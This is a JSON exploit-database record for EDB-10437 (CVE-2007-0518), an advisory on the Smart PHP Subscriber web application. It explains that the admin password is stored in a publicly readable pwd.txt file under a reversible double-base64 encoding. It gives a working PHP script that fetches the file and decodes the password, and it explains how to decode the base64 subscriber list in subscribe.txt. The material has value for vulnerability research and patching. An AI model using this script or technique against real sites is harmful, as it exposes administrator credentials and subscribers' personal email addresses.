{"exploit":{"id":"EDB-10437","name":"Smart PHP Subscriber - Multiple Disclosure","description":"Smart PHP Subscriber - Multiple Disclosure","cves":["CVE-2007-0518"],"author":"Milos Zivanovic","published":"2009-12-14","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/10437","path":"exploits/php/webapps/10437.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-10437.txt","vulnerabilities":[{"id":"CVE-2007-0518","state":"PUBLISHED","title":null,"titleSource":null,"description":"Scriptsez Smart PHP Subscriber (aka subscribe) stores sensitive information under the web root with insufficient access control, which allows remote attackers to obtain encoded passwords via a direct request for pwd.txt.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-0518","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-0518"},"updatedAt":"2024-08-07T12:19:30.369Z","retrievedAt":"2026-11-27T13:12:57.639Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-10437.png?v=2","url":"https://exploitbin.com/exploits/EDB-10437","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-10437/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-10437/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"[#-----------------------------------------------------------------------------------------------#]\n[#] Title: Smart PHP Subscriber Multiple Disclosure Vulnerabilities\n[#] Author: Milos Zivanovic\n[#] Email: milosz.security[at]gmail.com\n[#] Date: 14. December 2009.\n[#-----------------------------------------------------------------------------------------------#]\n[#] Application: Smart PHP Subscriber\n[#] Version: the only one there is\n[#] Platform: PHP\n[#] Vulnerability: Multiple Disclosure Vulnerabilities\n[#-----------------------------------------------------------------------------------------------#]\n\n[#]Content\n |--Admin password disclosure\n |--Subscribers list disclosure\n\n[*]Admin password disclosure\n\nAdmin password is saved locally in pwd.txt file with some simple\nencoding. This is the algorithm\nused:\nbase64(base64(password)+\"||&@23||password>||&~||\")\n\nString in \"\" (quotes) is constant, so we're able to decode it with\ncouple lines of code. Here's the\nscript to decode admins password:\n\n[DECODE-SCRIPT------------------------------------------------------------------------------------]\n<?php\n  $pwd_file = \"http://localhost/smartphps/pwd.txt\";\n  $half_way = base64_decode(file_get_contents($pwd_file));\n  $almost_there = explode(\"||&@23||password>||&~||\", $half_way);\n  echo base64_decode($almost_there[0]).\"\\n\";\n?>\n[DECODE-SCRIPT------------------------------------------------------------------------------------]\n\n[-]Subscribers list disclosure\n\nList of subscribed emails is saved locally in subscribe.txt file with\nbase64 encoding. Each line\nholds info about 1 subscriber. Data is inserted in this format:\n\nbase64(email)+\";\"+base64(name)+\";\"+date(\"D\nd-M-Y\")+\";\"+time()+\";\"+verified(1 or 0)+\";\"+line_number\n\nUsing regular base64_decode function built in php we can decode emails.\n\n[#] EOF","sha256":"12b3c8d120c36aff52052dbab5d9dc8ac06fc1f2f7da1ef23a9b72dbe0668644","bytes":1811,"fetchedAt":"2026-11-27T13:12:55.956Z","encoding":"utf-8 (display only; download retains original bytes)"}